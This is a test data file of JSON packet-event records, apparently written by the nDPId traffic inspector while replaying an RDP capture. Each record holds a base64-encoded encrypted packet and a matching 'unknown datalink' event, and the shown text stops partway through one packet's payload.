+00443{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":67,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":168007,"pkt_caplen":113,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":113,"pkt_l4_len":0,"pkt":"AgAAAEUAAG1fq0AAfwYp4MCoAo6sEAK5DT3NDkeayzD5vO94UBj6ALJjAAAXAwMAQAAAAAAAAAASjpMERpMLs1kJpWGTriT64vjWkBevuzzfqHNT5JBEW8VWsmxlcZEMdWKkx2ZrPmmh4UrQN3wCGlY="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":67,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":68,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":168032,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm873hHmsswUBAf\/UeLAAA="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":68,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":69,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":168142,"pkt_caplen":107,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":107,"pkt_l4_len":0,"pkt":"AgAAAEUAAGdfrEAAfwYp5cCoAo6sEAK5DT3NDkeay3X5vO94UBj6AMhTAAAXAwMAOgAAAAAAAAATXugY39V3haL5OujeYmiCZvzv0lRxqNiY3KqgR31njCtzCdRuT1cuRs3sfmkYKuMCXc4="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":69,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":70,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":168163,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm873hHmst1UBAf\/UdGAAA="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":70,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00469{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":71,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":168288,"pkt_caplen":132,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":132,"pkt_l4_len":0,"pkt":"AgAAAEUAAIBfrUAAfwYpy8CoAo6sEAK5DT3NDkeay7T5vO94UBj6AOh+AAAXAwMAUwAAAAAAAAAUOsSVO7ufR1\/qtcqilW4r+BMj1bN+Xmf1R595E\/VnCMHTUOBL56hcowYqtZtyfS287hGOlaiLkpcoEHCUcsV4J95CJOu7YSzYs5Eb"} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":71,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00417{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":72,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":175339,"pkt_caplen":95,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":95,"pkt_l4_len":0,"pkt":"AgAAAEUAAFtfrkAAfwYp78CoAo6sEAK5DT3NDkeazAz5vO94UBj6AM5cAAAXAwMALgAAAAAAAAAV4PGVY6ZORi3y8+jVSsJvE4+l9192u2VTgg6cfhSYypdM4shsoa8="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":72,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00470{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":73,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":175836,"pkt_caplen":131,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":131,"pkt_l4_len":0,"pkt":"AgAAAEUAAH9fr0AAfwYpysCoAo6sEAK5DT3NDkeazD\/5vO94UBj6ADVvAAAXAwMAUgAAAAAAAAAWRhIq3xgJuuB2HCY03HaQq3a9B8MTBAS1aSIAd4c+uNM0iAMOC1\/SBsSyz7QXePqw2xekJaQGzV655iwX3j1dXgOWsbGVIsVXO\/U="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":73,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":74,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":176359,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm873hHmsu0UBAf\/kcGAAA="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":74,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":75,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":176470,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm873hHmswMUBAf\/UavAAA="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":75,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00421{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":76,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":176545,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AgAAAEUAAF8AAEAAQAbImawQArnAqAKOzQ4NPfm873hHmswMUBggAHL3AAAXAwMAMuAIO32NJwtVXbzRTXO8f6KAFI7+y14cU4+BWJ1DrIchu9h6oVjDmmfAVMJchAfV4uwo"} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":76,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00433{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":77,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":176620,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGUAAEAAQAbIk6wQArnAqAKOzQ4NPfm8769HmswMUBggAOl3AAAXAwMAOOAIO32NJwtWYSLoWgAtZS+ja4Xj8\/B4YGRXeJwdn01wzG+Vtht1m3SMAUhhEzbJ34elg0m\/798h"} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":77,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":78,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":176695,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm87+xHmsw\/UBAf\/kYHAAA="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":78,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":79,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":176771,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm87+xHmsyWUBAf\/UWxAAA="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":79,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00432{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":80,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":178689,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGUAAEAAQAbIk6wQArnAqAKOzQ4NPfm87+xHmsyWUBggAB3YAAAXAwMAOOAIO32NJwtX+3YDLHQ9LeTFWLVhRcLncVmxIjDFMNdS2Of0kBhyE7r2WPKartc6r4u0qhC\/b7dj"} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":80,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00479{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":81,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":184964,"pkt_caplen":141,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":141,"pkt_l4_len":0,"pkt":"AgAAAEUAAIkAAEAAQAbIb6wQArnAqAKOzQ4NPfm88ClHmsyWUBggANFWAAAXAwMAXOAIO32NJwtY0ZW9SnSDtwGXHCoY6VnP1jiQ2GVs8xqoEfieaZO18QuLfCkxrQO1xjuCqCm3kMghfBh4wqv7PXw+Zh6ywmPbNVUM7ZKfggjOrxSKqZOFI+4K57yT"} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":81,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":82,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":223155,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChfsEAAfwYqIMCoAo6sEAK5DT3NDkeazJb5vO\/sUBD5jGwhAAA="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":82,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00564{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":83,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":270033,"pkt_caplen":202,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":202,"pkt_l4_len":0,"pkt":"AgAAAEUAAMYAAEAAQAbIMqwQArnAqAKOzQ4NPfm87+xHmsyWUBggAGwDAAAXAwMAOOAIO32NJwtX+3YDLHQ9LeTFWLVhRcLncVmxIjDFMNdS2Of0kBhyE7r2WPKartc6r4u0qhC\/b7djFwMDAFzgCDt9jScLWNGVvUp0g7cBlxwqGOlZz9Y4kNhlbPMaqBH4nmmTtfELi3wpMa0DtcY7gqgpt5DIIXwYeMKr+z18PmYessJj2zVVDO2Sn4IIzq8UiqmThSPuCue8kw=="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":83,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00349{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":84,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":277775,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChfsUAAfwYqH8CoAo6sEAK5DT3NDkeazJb5vPCKUBD47mwhAAA="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":84,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00444{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":85,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":277825,"pkt_caplen":114,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":114,"pkt_l4_len":0,"pkt":"AgAAAEUAAG5fskAAfwYp2MCoAo6sEAK5DT3NDkeazJb5vPCKUBj47kqNAAAXAwMAQQAAAAAAAAAX7ISPFKZiBvMPtTsgQ0UK0c893uIaXpWyXY5+be0anIZzuChLQWrZrsd8PqbZyy\/1KrUl3FlBRDII"} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":85,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":86,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":277872,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm88IpHmszcUBAf\/UTNAAA="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":86,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00489{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":87,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":277888,"pkt_caplen":145,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":145,"pkt_l4_len":0,"pkt":"AgAAAEUAAI1fs0AAfwYpuMCoAo6sEAK5DT3NDkeazNz5vPCKUBj47io1AAAXAwMAYAAAAAAAAAAYTl8PUQZvbHnOI6vWdICJYkO5Jpcf4\/yTCcNYrpwa\/JSGNo1lcKGbQzlMAPK8p0tJMmQ7GgJ8abp50XHv5UZ3P5X+7L1pS+FiZWyP6BEPTYbMtE0v9ii2QQ=="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":87,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00485{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":88,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":278122,"pkt_caplen":142,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":142,"pkt_l4_len":0,"pkt":"AgAAAEUAAIpftEAAfwYpusCoAo6sEAK5DT3NDkeazUH5vPCKUBj47ma8AAAXAwMAXQAAAAAAAAAZASORliUYUGgLDZ0308DRdybCwDFubTIY7w0hd0uwBpf5kj\/y9qkCcQ0ua3sivM+ybk2xEZ3FosIb\/pzItU5zMXWcoYxXUejOQqenWoYaXCny5Csb7A=="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":88,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":89,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":278233,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm88IpHms1BUBAf\/ERpAAA="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":89,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00484{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":90,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":279194,"pkt_caplen":139,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":139,"pkt_l4_len":0,"pkt":"AgAAAEUAAIdftUAAfwYpvMCoAo6sEAK5DT3NDkeazaP5vPCKUBj47jbQAAAXAwMAWgAAAAAAAAAaqa7fzYlf\/O\/UuXi95Iwy33dQjd6654ArTp0PyOm+ri4MrJJY6cLN6Wl28j3kUS4EbC\/MrnDnjtV\/7Y5\/lGFkKR7pE2YURtJyLscGp61WdSa5Hg=="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":90,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":91,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":279223,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm88IpHms2jUBAf\/EQHAAA="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":91,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00484{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":92,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":279695,"pkt_caplen":142,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":142,"pkt_l4_len":0,"pkt":"AgAAAEUAAIpftkAAfwYpuMCoAo6sEAK5DT3NDkeazgL5vPCKUBj47rERAAAXAwMAXQAAAAAAAAAbC64EXqCuwnfNMyHX+PBDR7aLp39rA12cZS+nQVav4wFVXxHiN7Bfs+0t552fDl0193abxtRj3JeLhJZPcpWfpZeGrlxZRnJb7rpZrsyP3\/+QAAloQw=="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":92,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00432{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":93,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":280481,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGUAAEAAQAbIk6wQArnAqAKOzQ4NPfm88IpHms2jUBggAIG7AAAXAwMAOOAIO32NJwtZJekF7AVT3xpbGC1r7Te9rKvC8u2snYCPLstaAC3pz9dI0\/i1yHkFh4YSEGkoyOaF"} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":93,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00433{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":94,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":280663,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGUAAEAAQAbIk6wQArnAqAKOzQ4NPfm88MdHms2jUBggAAb6AAAXAwMAOOAIO32NJwtaZzr7Bnqfxnh6iD\/KuJq9nsMXANnffDZNKQ9Nqw\/6jbL4HTYF9QsXwkFzL5FPrBI5"} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":94,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":95,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":280840,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm88QRHms4CUBAf\/UMtAAA="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":95,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00431{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":96,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":280930,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGUAAEAAQAbIk6wQArnAqAKOzQ4NPfm88QRHms4CUBggAC3zAAAXAwMAOOAIO32NJwtbscPy98INEiS8Yigso+2c0E+wLggQQpzHPAgZg95OEH8NGBDMao9Yfha2RFPrVwYR"} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":96,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":97,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":281009,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm88UFHms5kUBAf\/EKPAAA="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":97,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00447{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":98,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":281084,"pkt_caplen":117,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":117,"pkt_l4_len":0,"pkt":"AgAAAEUAAHEAAEAAQAbIh6wQArnAqAKOzQ4NPfm88UFHms5kUBggAPPRAAAXAwMAROAIO32NJwtcaPbevb5VVfp+MmLnrpv7HBoBFW6lvGRdAJSCjv8qnDzjKYyT9wvWxGZaHDGG2bBnZhuxQ944u7WXtTGe"} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":98,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":99,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":281180,"pkt_caplen":117,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":117,"pkt_l4_len":0,"pkt":"AgAAAEUAAHEAAEAAQAbIh6wQArnAqAKOzQ4NPfm88YpHms5kUBggAJKwAAAXAwMAROAIO32NJwtdjgVvp1Di5jhu5xw8PUt3X8uHtBN8jbOUnud1j9\/FnRIkJwhQAOOHtWePczuFfFRqd8674twxJ\/bynT9q"} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":99,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00366{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":100,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":319605,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AgAAAEUAADRft0AAfwYqDcCoAo6sEAK5DT3NDkeazmT5vPCKgBD47mBKAAABAQUK+bzv7Pm88Io="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":100,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":101,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":361192,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChfuEAAfwYqGMCoAo6sEAK5DT3NDkeazmT5vPEEUBD4dGpTAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":101,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":102,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":361249,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChfuUAAfwYqF8CoAo6sEAK5DT3NDkeazmT5vPGKUBD37mpTAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":102,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00450{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":103,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":371713,"pkt_caplen":117,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":117,"pkt_l4_len":0,"pkt":"AgAAAEUAAHEAAEAAQAbIh6wQArnAqAKOzQ4NPfm88YpHms5kUBggAJKwAAAXAwMAROAIO32NJwtdjgVvp1Di5jhu5xw8PUt3X8uHtBN8jbOUnud1j9\/FnRIkJwhQAOOHtWePczuFfFRqd8674twxJ\/bynT9q"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":103,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":104,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":376356,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChfukAAfwYqFsCoAo6sEAK5DT3NDkeazmT5vPHTUBD3pWpTAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":104,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +01274{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":105,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":376411,"pkt_caplen":728,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":728,"pkt_l4_len":0,"pkt":"AgAAAEUAAtRfu0AAfwYnacCoAo6sEAK5DT3NDkeazmT5vPHTUBj3pcOmAAAXAwMCpwAAAAAAAAAcMUPpYMi4h1Xo8gBPSOYZ3AuBMAQUWL\/SkQyLzJDVxkuc1m98GdfRwwhv2cTqL51SXyaDMny0U8OG1jwWoz24WBDkJTpHBBLxUQWdj5iJvEJ4EAa9wvwe7rFS7juAdfSmI3uCzVjMkzoW7LFv8dJUNDEfQ6ScyCO0ScjdYLBmLRr9J+EJavCc+u567ETyWeHJgKotASqG0TpCnFStcGoaq5s9s7uoC1UV3rWz8ZWBsyJjaP2eMXgikUSKXo2xdAGpAcNge2OOQz\/RqxM5H0gcxe54tL1cfutLPu+WBupg19PPZIFDNH+5uwYjMs5Kf7B2WUIvp+cW7LrjF\/ke98mZuDLdOUVTwAtCInUECqViByc0Ef45gh\/2HyIFaVB0NZvg6rgm8j9vH74lWQGQ9Yf702gMA